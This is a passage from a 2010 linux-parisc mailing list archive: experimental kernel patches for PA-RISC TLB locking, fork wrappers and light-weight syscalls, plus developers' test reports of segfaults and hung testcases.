+	update_dirty	ptp,pte,t0
+	pte_unlock	spc,t0,t1
 
+	save_pte	pte,t1
 	make_insert_tlb	spc,pte,prot
 
-	f_extend	pte,t1
+	f_extend	pte,t0
 	
         idtlbt          pte,prot
-
-#ifdef CONFIG_SMP
-	cmpib,COND(=),n        0,spc,dbit_nounlock_20
-	ldi             1,t1
-	stw             t1,0(t0)
-
-dbit_nounlock_20:
-#endif
+	dtlb_recheck	ptp,t1,spc,va,t0
 
 	rfir
 	nop
@@ -1772,9 +1784,9 @@ ENTRY(sys_fork_wrapper)
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
 
-	/* These are call-clobbered registers and therefore
-	   also syscall-clobbered (we hope). */
-	STREG	%r2,PT_GR19(%r1)	/* save for child */
+	STREG	%r2,PT_SYSCALL_RP(%r1)
+
+	/* WARNING - Clobbers r21, userspace must save! */
 	STREG	%r30,PT_GR21(%r1)
 
 	LDREG	PT_GR30(%r1),%r25
@@ -1804,7 +1816,7 @@ ENTRY(child_return)
 	nop
 
 	LDREG	TI_TASK-THREAD_SZ_ALGN-FRAME_SIZE-FRAME_SIZE(%r30), %r1
-	LDREG	TASK_PT_GR19(%r1),%r2
+	LDREG	TASK_PT_SYSCALL_RP(%r1),%r2
 	b	wrapper_exit
 	copy	%r0,%r28
 ENDPROC(child_return)
@@ -1823,8 +1835,9 @@ ENTRY(sys_clone_wrapper)
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
 
-	/* WARNING - Clobbers r19 and r21, userspace must save these! */
-	STREG	%r2,PT_GR19(%r1)	/* save for child */
+	STREG	%r2,PT_SYSCALL_RP(%r1)
+
+	/* WARNING - Clobbers r21, userspace must save! */
 	STREG	%r30,PT_GR21(%r1)
 	BL	sys_clone,%r2
 	copy	%r1,%r24
@@ -1847,7 +1860,9 @@ ENTRY(sys_vfork_wrapper)
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
 
-	STREG	%r2,PT_GR19(%r1)	/* save for child */
+	STREG	%r2,PT_SYSCALL_RP(%r1)
+
+	/* WARNING - Clobbers r21, userspace must save! */
 	STREG	%r30,PT_GR21(%r1)
 
 	BL	sys_vfork,%r2
@@ -2076,9 +2091,10 @@ syscall_restore:
 	LDREG	TASK_PT_GR31(%r1),%r31	   /* restore syscall rp */
 
 	/* NOTE: We use rsm/ssm pair to make this operation atomic */
+	LDREG   TASK_PT_GR30(%r1),%r1              /* Get user sp */
 	rsm     PSW_SM_I, %r0
-	LDREG   TASK_PT_GR30(%r1),%r30             /* restore user sp */
-	mfsp	%sr3,%r1			   /* Get users space id */
+	copy    %r1,%r30                           /* Restore user sp */
+	mfsp    %sr3,%r1                           /* Get user space id */
 	mtsp    %r1,%sr7                           /* Restore sr7 */
 	ssm     PSW_SM_I, %r0
 
diff --git a/arch/parisc/kernel/pacache.S b/arch/parisc/kernel/pacache.S
index 09b77b2..4f0d975 100644
--- a/arch/parisc/kernel/pacache.S
+++ b/arch/parisc/kernel/pacache.S
@@ -277,6 +277,7 @@ ENDPROC(flush_data_cache_local)
 
 	.align	16
 
+#if 1
 ENTRY(copy_user_page_asm)
 	.proc
 	.callinfo NO_CALLS
@@ -400,6 +401,7 @@ ENTRY(copy_user_page_asm)
 
 	.procend
 ENDPROC(copy_user_page_asm)
+#endif
 
 /*
  * NOTE: Code in clear_user_page has a hard coded dependency on the
@@ -548,17 +550,33 @@ ENTRY(__clear_user_page_asm)
 	depwi		0, 31,12, %r28		/* Clear any offset bits */
 #endif
 
+#ifdef CONFIG_SMP
+	ldil		L%pa_tlb_lock, %r1
+	ldo		R%pa_tlb_lock(%r1), %r24
+	rsm		PSW_SM_I, %r22
+1:
+	LDCW		0(%r24),%r25
+	cmpib,COND(=)	0,%r25,1b
+	nop
+#endif
+
 	/* Purge any old translation */
 
 	pdtlb		0(%r28)
 
+#ifdef CONFIG_SMP
+	ldi		1,%r25
+	stw		%r25,0(%r24)
+	mtsm		%r22
+#endif
+
 #ifdef CONFIG_64BIT
 	ldi		(PAGE_SIZE / 128), %r1
 
 	/* PREFETCH (Write) has not (yet) been proven to help here */
 	/* #define	PREFETCHW_OP	ldd		256(%0), %r0 */
 
-1:	std		%r0, 0(%r28)
+2:	std		%r0, 0(%r28)
 	std		%r0, 8(%r28)
 	std		%r0, 16(%r28)
 	std		%r0, 24(%r28)
@@ -574,13 +592,13 @@ ENTRY(__clear_user_page_asm)
 	std		%r0, 104(%r28)
 	std		%r0, 112(%r28)
 	std		%r0, 120(%r28)
-	addib,COND(>)		-1, %r1, 1b
+	addib,COND(>)		-1, %r1, 2b
 	ldo		128(%r28), %r28
 
 #else	/* ! CONFIG_64BIT */
 	ldi		(PAGE_SIZE / 64), %r1
 
-1:
+2:
 	stw		%r0, 0(%r28)
 	stw		%r0, 4(%r28)
 	stw		%r0, 8(%r28)
@@ -597,7 +615,7 @@ ENTRY(__clear_user_page_asm)
 	stw		%r0, 52(%r28)
 	stw		%r0, 56(%r28)
 	stw		%r0, 60(%r28)
-	addib,COND(>)		-1, %r1, 1b
+	addib,COND(>)		-1, %r1, 2b
 	ldo		64(%r28), %r28
 #endif	/* CONFIG_64BIT */
 
diff --git a/arch/parisc/kernel/setup.c b/arch/parisc/kernel/setup.c
index cb71f3d..84b3239 100644
--- a/arch/parisc/kernel/setup.c
+++ b/arch/parisc/kernel/setup.c
@@ -128,6 +128,14 @@ void __init setup_arch(char **cmdline_p)
 	printk(KERN_INFO "The 32-bit Kernel has started...\n");
 #endif
 
+	/* Consistency check on the size and alignments of our spinlocks */
+#ifdef CONFIG_SMP
+	BUILD_BUG_ON(sizeof(arch_spinlock_t) != __PA_LDCW_ALIGNMENT);
+	BUG_ON((unsigned long)&__atomic_hash[0] & (__PA_LDCW_ALIGNMENT-1));
+	BUG_ON((unsigned long)&__atomic_hash[1] & (__PA_LDCW_ALIGNMENT-1));
+#endif
+	BUILD_BUG_ON((1<<L1_CACHE_SHIFT) != L1_CACHE_BYTES);
+
 	pdc_console_init();
 
 #ifdef CONFIG_64BIT
diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
index f5f9602..68e75ce 100644
--- a/arch/parisc/kernel/syscall.S
+++ b/arch/parisc/kernel/syscall.S
@@ -47,18 +47,17 @@ ENTRY(linux_gateway_page)
 	KILL_INSN
 	.endr
 
-	/* ADDRESS 0xb0 to 0xb4, lws uses 1 insns for entry */
+	/* ADDRESS 0xb0 to 0xb8, lws uses two insns for entry */
 	/* Light-weight-syscall entry must always be located at 0xb0 */
 	/* WARNING: Keep this number updated with table size changes */
 #define __NR_lws_entries (2)
 
 lws_entry:
-	/* Unconditional branch to lws_start, located on the 
-	   same gateway page */
-	b,n	lws_start
+	gate	lws_start, %r0		/* increase privilege */
+	depi	3, 31, 2, %r31		/* Ensure we return into user mode. */
 
-	/* Fill from 0xb4 to 0xe0 */
-	.rept 11
+	/* Fill from 0xb8 to 0xe0 */
+	.rept 10
 	KILL_INSN
 	.endr
 
@@ -423,9 +422,6 @@ tracesys_sigexit:
 
 	*********************************************************/
 lws_start:
-	/* Gate and ensure we return to userspace */
-	gate	.+8, %r0
-	depi	3, 31, 2, %r31	/* Ensure we return to userspace */
 
 #ifdef CONFIG_64BIT
 	/* FIXME: If we are a 64-bit kernel just
@@ -442,7 +438,7 @@ lws_start:
 #endif	
 
         /* Is the lws entry number valid? */
-	comiclr,>>=	__NR_lws_entries, %r20, %r0
+	comiclr,>>	__NR_lws_entries, %r20, %r0
 	b,n	lws_exit_nosys
 
 	/* WARNING: Trashing sr2 and sr3 */
@@ -473,7 +469,7 @@ lws_exit:
 	/* now reset the lowest bit of sp if it was set */
 	xor	%r30,%r1,%r30
 #endif
-	be,n	0(%sr3, %r31)
+	be,n	0(%sr7, %r31)
 
 
 	
@@ -529,7 +525,6 @@ lws_compare_and_swap32:
 #endif
 
 lws_compare_and_swap:
-#ifdef CONFIG_SMP
 	/* Load start of lock table */
 	ldil	L%lws_lock_start, %r20
 	ldo	R%lws_lock_start(%r20), %r28
@@ -572,8 +567,6 @@ cas_wouldblock:
 	ldo	2(%r0), %r28				/* 2nd case */
 	b	lws_exit				/* Contended... */
 	ldo	-EAGAIN(%r0), %r21			/* Spin in userspace */
-#endif
-/* CONFIG_SMP */
 
 	/*
 		prev = *addr;
@@ -601,13 +594,11 @@ cas_action:
 1:	ldw	0(%sr3,%r26), %r28
 	sub,<>	%r28, %r25, %r0
 2:	stw	%r24, 0(%sr3,%r26)
-#ifdef CONFIG_SMP
 	/* Free lock */
 	stw	%r20, 0(%sr2,%r20)
-# if ENABLE_LWS_DEBUG
+#if ENABLE_LWS_DEBUG
 	/* Clear thread register indicator */
 	stw	%r0, 4(%sr2,%r20)
-# endif
 #endif
 	/* Return to userspace, set no error */
 	b	lws_exit
@@ -615,12 +606,10 @@ cas_action:
 
 3:		
 	/* Error occured on load or store */
-#ifdef CONFIG_SMP
 	/* Free lock */
 	stw	%r20, 0(%sr2,%r20)
-# if ENABLE_LWS_DEBUG
+#if ENABLE_LWS_DEBUG
 	stw	%r0, 4(%sr2,%r20)
-# endif
 #endif
 	b	lws_exit
 	ldo	-EFAULT(%r0),%r21	/* set errno */
@@ -672,7 +661,6 @@ ENTRY(sys_call_table64)
 END(sys_call_table64)
 #endif
 
-#ifdef CONFIG_SMP
 	/*
 		All light-weight-syscall atomic operations 
 		will use this set of locks 
@@ -694,8 +682,6 @@ ENTRY(lws_lock_start)
 	.endr
 END(lws_lock_start)
 	.previous
-#endif
-/* CONFIG_SMP for lws_lock_start */
 
 .end
 
diff --git a/arch/parisc/kernel/traps.c b/arch/parisc/kernel/traps.c
index 8b58bf0..804b024 100644
--- a/arch/parisc/kernel/traps.c
+++ b/arch/parisc/kernel/traps.c
@@ -47,7 +47,7 @@
 			  /*  dumped to the console via printk)          */
 
 #if defined(CONFIG_SMP) || defined(CONFIG_DEBUG_SPINLOCK)
-DEFINE_SPINLOCK(pa_dbit_lock);
+DEFINE_SPINLOCK(pa_pte_lock);
 #endif
 
 static void parisc_show_stack(struct task_struct *task, unsigned long *sp,
diff --git a/arch/parisc/lib/bitops.c b/arch/parisc/lib/bitops.c
index 353963d..bae6a86 100644
--- a/arch/parisc/lib/bitops.c
+++ b/arch/parisc/lib/bitops.c
@@ -15,6 +15,9 @@
 arch_spinlock_t __atomic_hash[ATOMIC_HASH_SIZE] __lock_aligned = {
 	[0 ... (ATOMIC_HASH_SIZE-1)]  = __ARCH_SPIN_LOCK_UNLOCKED
 };
+arch_spinlock_t __atomic_user_hash[ATOMIC_HASH_SIZE] __lock_aligned = {
+	[0 ... (ATOMIC_HASH_SIZE-1)]  = __ARCH_SPIN_LOCK_UNLOCKED
+};
 #endif
 
 #ifdef CONFIG_64BIT
diff --git a/arch/parisc/math-emu/decode_exc.c b/arch/parisc/math-emu/decode_exc.c
index 3ca1c61..27a7492 100644
--- a/arch/parisc/math-emu/decode_exc.c
+++ b/arch/parisc/math-emu/decode_exc.c
@@ -342,6 +342,7 @@ decode_fpu(unsigned int Fpu_register[], unsigned int trap_counts[])
 		return SIGNALCODE(SIGFPE, FPE_FLTINV);
 	  case DIVISIONBYZEROEXCEPTION:
 		update_trap_counts(Fpu_register, aflags, bflags, trap_counts);
+		Clear_excp_register(exception_index);
 	  	return SIGNALCODE(SIGFPE, FPE_FLTDIV);
 	  case INEXACTEXCEPTION:
 		update_trap_counts(Fpu_register, aflags, bflags, trap_counts);

--VS++wcV0S1rZb1Fb--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: threads and fork on machine with VIPT-WB cache
Date: Sun, 9 May 2010 10:14:53 -0400
Lines: 38
Approved: news@gmane.org
Message-ID: <AANLkTinoLS90tJOl-SOYJ5ZVs8SPEyO3nlP-qLYufS-W@mail.gmail.com>
References: <20100412214118.46D925160@hiauly1.hia.nrc.ca>
	 <20100413115501.307040@gmx.net>
	 <20100419162653.GA106@hiauly1.hia.nrc.ca> <4BCDEB6E.1060408@gmx.de>
	 <20100509124339.GA6797@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1273414824 23250 80.91.229.12 (9 May 2010 14:20:24 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 9 May 2010 14:20:24 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	gniibe@fsij.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 09 16:20:22 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OB7Mj-00077E-CA
	for glpp-linux-parisc@lo.gmane.org; Sun, 09 May 2010 16:20:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750894Ab0EIOUS convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 9 May 2010 10:20:18 -0400
Original-Received: from mail-wy0-f174.google.com ([74.125.82.174]:38888 "EHLO
	mail-wy0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750827Ab0EIOUR convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 9 May 2010 10:20:17 -0400
Original-Received: by wyf19 with SMTP id 19so304871wyf.19
        for <linux-parisc@vger.kernel.org>; Sun, 09 May 2010 07:20:16 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:sender:received
         :in-reply-to:references:date:x-google-sender-auth:message-id:subject
         :from:to:cc:content-type:content-transfer-encoding;
        bh=I7vlJi1G4T2DiB+Lw1TZUKytWFF2pbiiz+xi3T8vQBY=;
        b=nEkD3ReUcvbkq0iY+3/XaYQTn7S0MOyH52TfkyocPXbF386idJWDaKh+PH9GwX6gyV
         f0TkKsZ8EqMXyrg5OO7mXc3iOyeVj1/cQDp+XrZTn1+ADopSTfWAjQoeJlA50OmBd/4O
         Z5AulsAaCS+cZrpDFoA9RLVxekPYFF3ejtGbE=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=r++H6eIvHekezWVZjTMkINONHtTBqcr719bmmntOgcOxqLuo7hgE6EkqIxJokJTdiU
         igTI0ODCxulwxzui/3PmkIA693qevLaVDHXpz4mbGchlyqAxbx1EoJmoiCA92r7LuAXm
         OaLYsNcee93WQfYg1jD3U+j6PTzlZYLQ0tgKE=
Original-Received: by 10.216.188.130 with SMTP id a2mr1302492wen.54.1273414493791; Sun, 
	09 May 2010 07:14:53 -0700 (PDT)
Original-Received: by 10.216.21.20 with HTTP; Sun, 9 May 2010 07:14:53 -0700 (PDT)
In-Reply-To: <20100509124339.GA6797@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: lQ3Lo7jT4jySpJ_JdR_koUofbWE
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2843
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2843>

n Sun, May 9, 2010 at 8:43 AM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
> Attached is my latest 2.6.33.3 patch bundle. =A0It uses a slightly mo=
dified
> version of James' minifail fix.
>
> The big change is the management of PTE updates and the TLB exception
> support on SMP configs. =A0I have modified what was formerly the pa_d=
bit_lock
> and used it for all user page table updates. =A0I also added a rechec=
k of the
> PTE after TLB inserts. =A0The idea for this was derived from a simila=
r check
> in arch/ia64/kernel/ivt.S. =A0I also whack the TLB page in ptep_set_w=
rprotect
> and modified the TLB locking for clear_user_page (it's now in asm).
>
> So far, the change is lightly tested. =A0I've been burned enough to k=
now
> that there are likely still problems. =A0However, so far I haven't se=
en any
> random segvs on my rp3440 or gsyprf11.
>
> I would appreciate pa'ers testing this change. =A0If it looks good, I=
'll
> extract the new PTE handling and formally submit.

Thanks Dave! I'll run this through the glibc testsuite a couple of
times to see if anything shakes out.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Helge Deller" <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: threads and fork on machine with VIPT-WB cache
Date: Mon, 10 May 2010 11:56:32 +0200
Lines: 50
Approved: news@gmane.org
Message-ID: <20100510095632.173760@gmx.net>
References: <20100412214118.46D925160@hiauly1.hia.nrc.ca>
 <20100413115501.307040@gmx.net> <20100419162653.GA106@hiauly1.hia.nrc.ca>
 <4BCDEB6E.1060408@gmx.de> <20100509124339.GA6797@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1273485418 4739 80.91.229.12 (10 May 2010 09:56:58 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 10 May 2010 09:56:58 +0000 (UTC)
Cc: carlos@systemhalted.org, gniibe@fsij.org,
	linux-parisc@vger.kernel.org, dave.anglin@nrc-cnrc.gc.ca
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon May 10 11:56:51 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OBPjE-0004qd-9H
	for glpp-linux-parisc@lo.gmane.org; Mon, 10 May 2010 11:56:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750985Ab0EJJ4j convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 10 May 2010 05:56:39 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:16964 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1756023Ab0EJJ4g (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 10 May 2010 05:56:36 -0400
Original-Received: (qmail 6120 invoked by uid 0); 10 May 2010 09:56:34 -0000
Original-Received: from 155.56.68.216 by www063.gmx.net with HTTP;
 Mon, 10 May 2010 11:56:32 +0200 (CEST)
In-Reply-To: <20100509124339.GA6797@hiauly1.hia.nrc.ca>
X-Authenticated: #1045983
X-Flags: 0001
X-Mailer: WWW-Mail 6100 (Global Message Exchange)
X-Priority: 3
X-Provags-ID: V01U2FsdGVkX1/az/I3b9jaM2fLMHXhSGFRdexnqSVu5IGksL4svm
 wlL5dPhrI0nHHixZj7peFT8v+ajtyFkLCEdQ== 
X-GMX-UID: aOreftsOeWUoVreUfHVzVXAxU3U4Nw/3
X-FuHaFi: 0.5
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2844
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2844>

> Attached is my latest 2.6.33.3 patch bundle.  It uses a slightly modi=
fied
> version of James' minifail fix.

Thanks Dave!

I ran the patch my usual way (SMP kernel, on top of 2.6.33.3, multiple =
screens, minifail_dave.cpp testcase).
In summary I got after 10 seconds 2 segfaults, and in all of the screen=
s the minifail_dave testcases just hang.

"ps -ef" gives this:
root      2018     1  0 11:29 ?        00:00:00 SCREEN

root      2019  2018  0 11:29 pts/1    00:00:01 /bin/bash

root      2623  2019  0 11:30 pts/1    00:00:00 ./minifail_dave

root      2625  2623  0 11:30 pts/1    00:00:00 [minifail_dave] <defunc=
t>


ls3017:~# strace -p 2623

Process 2623 attached - interrupt to quit

futex(0x4113c4e8, FUTEX_WAIT, 2624, NULL^C <unfinished ...>

Process 2623 detached

ls3017:~# strace -p 2625

attach: ptrace(PTRACE_ATTACH, ...): Operation not permitted


Interestingly, I got only 2 segfaults but 10 screens/minifails were run=
ning (and all were zombies).
This means to me, that the segfaults and the zombie/futex-waits are mos=
t likely unrelated.

Helge
--=20
GRATIS f=FCr alle GMX-Mitglieder: Die maxdome Movie-FLAT!
Jetzt freischalten unter http://portal.gmx.net/de/go/maxdome01
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: threads and fork on machine with VIPT-WB cache
Date: Mon, 10 May 2010 10:56:49 -0400
Organization: nrc.ca
Lines: 1292
Approved: news@gmane.org
Message-ID: <20100510145648.GA13452@hiauly1.hia.nrc.ca>
References: <20100412214118.46D925160@hiauly1.hia.nrc.ca> <20100413115501.307040@gmx.net> <20100419162653.GA106@hiauly1.hia.nrc.ca> <4BCDEB6E.1060408@gmx.de> <20100509124339.GA6797@hiauly1.hia.nrc.ca> <20100510095632.173760@gmx.net>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="sm4nu43k4a2Rpi4c"
X-Trace: dough.gmane.org 1273503424 9707 80.91.229.12 (10 May 2010 14:57:04 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 10 May 2010 14:57:04 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	carlos@systemhalted.org, gniibe@fsij.org,
	linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon May 10 16:57:01 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OBUPk-0005uH-43
	for glpp-linux-parisc@lo.gmane.org; Mon, 10 May 2010 16:57:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751994Ab0EJO44 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 10 May 2010 10:56:56 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1516 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751973Ab0EJO4z (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 10 May 2010 10:56:55 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id A73135160; Mon, 10 May 2010 10:56:49 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20100510095632.173760@gmx.net>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2845
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2845>


--sm4nu43k4a2Rpi4c
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

On Mon, 10 May 2010, Helge Deller wrote:

> > Attached is my latest 2.6.33.3 patch bundle.  It uses a slightly modified
> > version of James' minifail fix.
> 
> Thanks Dave!
> 
> I ran the patch my usual way (SMP kernel, on top of 2.6.33.3, multiple screens, minifail_dave.cpp testcase).
> In summary I got after 10 seconds 2 segfaults, and in all of the screens the minifail_dave testcases just hang.

Yes, just after sending, I noticed gcc testsuite and minifail were
broken on gsyprf11.  I did modify James' change a bit because I
thought we had a double flush in kunmap on machines that don't require
coherency.  However, I think the minifail problem is with parisc_kmap.
Possibly, it needs to handle non-current contexts.

The attached works better on gsyprf11.  I haven't tested it on anything
else.

It goes back to the original flush scheme which requires some modification
to the pte_set_wrprotect api.  There might be some race issues in the
write protect and cache flush.  That's why I added the preempt_disable/
preempt_enable.  I think the api can be changed without affecting other
backends.  Also, I think cache flushes can be minimized by checking
pte_dirty after the page is write protected.

If this doesn't work, I think copy_user_page will have to use
equivalent aliasing for copy_user_page.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

--sm4nu43k4a2Rpi4c
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="diff-20100510.d"

diff --git a/arch/parisc/hpux/wrappers.S b/arch/parisc/hpux/wrappers.S
index 58c53c8..bdcea33 100644
--- a/arch/parisc/hpux/wrappers.S
+++ b/arch/parisc/hpux/wrappers.S
@@ -88,7 +88,7 @@ ENTRY(hpux_fork_wrapper)
 
 	STREG	%r2,-20(%r30)
 	ldo	64(%r30),%r30
-	STREG	%r2,PT_GR19(%r1)	;! save for child
+	STREG	%r2,PT_SYSCALL_RP(%r1)	;! save for child
 	STREG	%r30,PT_GR21(%r1)	;! save for child
 
 	LDREG	PT_GR30(%r1),%r25
@@ -132,7 +132,7 @@ ENTRY(hpux_child_return)
 	bl,n	schedule_tail, %r2
 #endif
 
-	LDREG	TASK_PT_GR19-TASK_SZ_ALGN-128(%r30),%r2
+	LDREG	TASK_PT_SYSCALL_RP-TASK_SZ_ALGN-128(%r30),%r2
 	b fork_return
 	copy %r0,%r28
 ENDPROC(hpux_child_return)
diff --git a/arch/parisc/include/asm/atomic.h b/arch/parisc/include/asm/atomic.h
index 716634d..ad7df44 100644
--- a/arch/parisc/include/asm/atomic.h
+++ b/arch/parisc/include/asm/atomic.h
@@ -24,29 +24,46 @@
  * Hash function to index into a different SPINLOCK.
  * Since "a" is usually an address, use one spinlock per cacheline.
  */
-#  define ATOMIC_HASH_SIZE 4
-#  define ATOMIC_HASH(a) (&(__atomic_hash[ (((unsigned long) (a))/L1_CACHE_BYTES) & (ATOMIC_HASH_SIZE-1) ]))
+#  define ATOMIC_HASH_SIZE (4096/L1_CACHE_BYTES)  /* 4 */
+#  define ATOMIC_HASH(a)      (&(__atomic_hash[ (((unsigned long) (a))/L1_CACHE_BYTES) & (ATOMIC_HASH_SIZE-1) ]))
+#  define ATOMIC_USER_HASH(a) (&(__atomic_user_hash[ (((unsigned long) (a))/L1_CACHE_BYTES) & (ATOMIC_HASH_SIZE-1) ]))
 
 extern arch_spinlock_t __atomic_hash[ATOMIC_HASH_SIZE] __lock_aligned;
+extern arch_spinlock_t __atomic_user_hash[ATOMIC_HASH_SIZE] __lock_aligned;
 
 /* Can't use raw_spin_lock_irq because of #include problems, so
  * this is the substitute */
-#define _atomic_spin_lock_irqsave(l,f) do {	\
-	arch_spinlock_t *s = ATOMIC_HASH(l);		\
+#define _atomic_spin_lock_irqsave_template(l,f,hash_func) do {	\
+	arch_spinlock_t *s = hash_func;		\
 	local_irq_save(f);			\
 	arch_spin_lock(s);			\
 } while(0)
 
-#define _atomic_spin_unlock_irqrestore(l,f) do {	\
-	arch_spinlock_t *s = ATOMIC_HASH(l);			\
+#define _atomic_spin_unlock_irqrestore_template(l,f,hash_func) do {	\
+	arch_spinlock_t *s = hash_func;			\
 	arch_spin_unlock(s);				\
 	local_irq_restore(f);				\
 } while(0)
 
+/* kernel memory locks */
+#define _atomic_spin_lock_irqsave(l,f)	\
+	_atomic_spin_lock_irqsave_template(l,f,ATOMIC_HASH(l))
+
+#define _atomic_spin_unlock_irqrestore(l,f)	\
+	_atomic_spin_unlock_irqrestore_template(l,f,ATOMIC_HASH(l))
+
+/* userspace memory locks */
+#define _atomic_spin_lock_irqsave_user(l,f)	\
+	_atomic_spin_lock_irqsave_template(l,f,ATOMIC_USER_HASH(l))
+
+#define _atomic_spin_unlock_irqrestore_user(l,f)	\
+	_atomic_spin_unlock_irqrestore_template(l,f,ATOMIC_USER_HASH(l))
 
 #else
 #  define _atomic_spin_lock_irqsave(l,f) do { local_irq_save(f); } while (0)
